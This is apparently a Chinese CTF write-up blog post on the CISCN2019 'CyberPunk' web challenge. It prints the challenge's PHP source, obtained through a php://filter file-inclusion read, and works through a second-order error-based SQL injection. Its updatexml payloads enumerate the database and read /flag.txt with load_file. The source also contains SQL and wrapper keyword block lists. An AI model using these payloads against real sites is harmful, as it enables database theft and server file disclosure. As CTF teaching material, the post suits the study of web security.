• [CISCN2019 华北赛区 Day1 Web5]CyberPunk


    进去发现有查订单的,还有修改要查的订单的,想到有没有可能是二次注入

     源码提示file,可能是要读他的源码

    ?file=php://filter/read=convert.base64-encode/resource=index.php

    1. //index.php
    2. ini_set('open_basedir', '/var/www/html/');
    3. // $file = $_GET["file"];
    4. $file = (isset($_GET['file']) ? $_GET['file'] : null);
    5. if (isset($file)){
    6. if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
    7. echo('no way!');
    8. exit;
    9. }
    10. @include($file);
    11. }
    12. ?>
    1. //confirm.php
    2. require_once "config.php";
    3. //var_dump($_POST);
    4. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    5. {
    6. $msg = '';
    7. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    8. $user_name = $_POST["user_name"];
    9. $address = $_POST["address"];
    10. $phone = $_POST["phone"];
    11. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    12. $msg = 'no sql inject!';
    13. }else{
    14. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    15. $fetch = $db->query($sql);
    16. }
    17. if($fetch->num_rows>0) {
    18. $msg = $user_name."已提交订单";
    19. }else{
    20. $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
    21. $re = $db->prepare($sql);
    22. $re->bind_param("sss", $user_name, $address, $phone);
    23. $re = $re->execute();
    24. if(!$re) {
    25. echo 'error';
    26. print_r($db->error);
    27. exit;
    28. }
    29. $msg = "订单提交成功";
    30. }
    31. } else {
    32. $msg = "信息不全";
    33. }
    34. ?>

     这里把username和phone过滤了一遍,然后查询;如果原来没有这个订单,那就插入就去,这个订单

    1. //search.php
    2. require_once "config.php";
    3. if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    4. {
    5. $msg = '';
    6. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    7. $user_name = $_POST["user_name"];
    8. $phone = $_POST["phone"];
    9. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    10. $msg = 'no sql inject!';
    11. }else{
    12. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    13. $fetch = $db->query($sql);
    14. }
    15. if (isset($fetch) && $fetch->num_rows>0){
    16. $row = $fetch->fetch_assoc();
    17. if(!$row) {
    18. echo 'error';
    19. print_r($db->error);
    20. exit;
    21. }
    22. $msg = "

      姓名:".$row['user_name']."

      , 电话:".$row['phone']."

      , 地址:".$row['address']."

      "
      ;
    23. } else {
    24. $msg = "未找到订单!";
    25. }
    26. }else {
    27. $msg = "信息不全";
    28. }
    29. ?>

     查订单,查到就返回结果

    1. //change.php
    2. require_once "config.php";
    3. if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    4. {
    5. $msg = '';
    6. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    7. $user_name = $_POST["user_name"];
    8. $address = addslashes($_POST["address"]);
    9. $phone = $_POST["phone"];
    10. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    11. $msg = 'no sql inject!';
    12. }else{
    13. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    14. $fetch = $db->query($sql);
    15. }
    16. if (isset($fetch) && $fetch->num_rows>0){
    17. $row = $fetch->fetch_assoc();
    18. $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    19. $result = $db->query($sql);
    20. if(!$result) {
    21. echo 'error';
    22. print_r($db->error);
    23. exit;
    24. }
    25. $msg = "订单修改成功";
    26. } else {
    27. $msg = "未找到订单!";
    28. }
    29. }else {
    30. $msg = "信息不全";
    31. }
    32. ?>

     这个对地址用来addslashes函数,然后和之前一样,查到之后更新信息

    1. //delete.php
    2. require_once "config.php";
    3. if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    4. {
    5. $msg = '';
    6. $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    7. $user_name = $_POST["user_name"];
    8. $phone = $_POST["phone"];
    9. if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
    10. $msg = 'no sql inject!';
    11. }else{
    12. $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
    13. $fetch = $db->query($sql);
    14. }
    15. if (isset($fetch) && $fetch->num_rows>0){
    16. $row = $fetch->fetch_assoc();
    17. $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
    18. if(!$result) {
    19. echo 'error';
    20. print_r($db->error);
    21. exit;
    22. }
    23. $msg = "订单删除成功";
    24. } else {
    25. $msg = "未找到订单!";
    26. }
    27. }else {
    28. $msg = "信息不全";
    29. }
    30. ?>

     这个就是查到信息之后执行删除语句

    1. //config.php
    2. ini_set("open_basedir", getcwd() . ":/etc:/tmp");
    3. $DATABASE = array(
    4. "host" => "127.0.0.1",
    5. "username" => "root",
    6. "password" => "root",
    7. "dbname" =>"ctfusers"
    8. );
    9. $db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

     再修改订单的时候他把旧的地址也记了下来,用到了原来的东西,可以利用这个搞,但是我怎么也没想到用报错注入

            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    1. if(!$result) {
    2. echo 'error';
    3. print_r($db->error);
    4. exit;
    5. }

     

    大概就是,查到的不对,然后报错,并且出现错误的信息

    之后就是再提交的时候把语句放在地址哪里,因为其他的地方过滤,然后修改订单报错得到信息

    1' where user_id=updatexml(1,concat(0x7e,(select database()),0x7e),1)#

     

     1' where user_id=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#

      1' where user_id=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='user'),0x7e),1)#

    flag并没有在这些字段里面

    然后看wp,直接读flag.txt

    应该是发现flag不在里面,然后猜了一下flag的名字,然后读

    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

     

     flag{b5933a60-232a-4bec-b0e4-0b428fdf26ea}

  • 相关阅读:
    出口美国操作要点汇总│走美国海运拼箱的注意事项│箱讯科技
    互联网行业,常见含金量高的证书,看看你有几个?
    【Unity之竖屏游戏制作】如何做一个竖屏的手机游戏
    剑指OfferⅡ 045.二叉树最底层最左边的值 dfs
    打工人必备:浏览器隐藏的4个实用功能,让效率倍增
    android framework之Applicataion启动流程分析(三)
    Linux环境下conda虚拟环境的迁移
    Mysql数据库常用表结构操作语句
    linux服务器内服务访问域名Name or service not know
    Java分布式定时任务场景的思考与设计
  • 原文地址:https://blog.csdn.net/stantic/article/details/127046489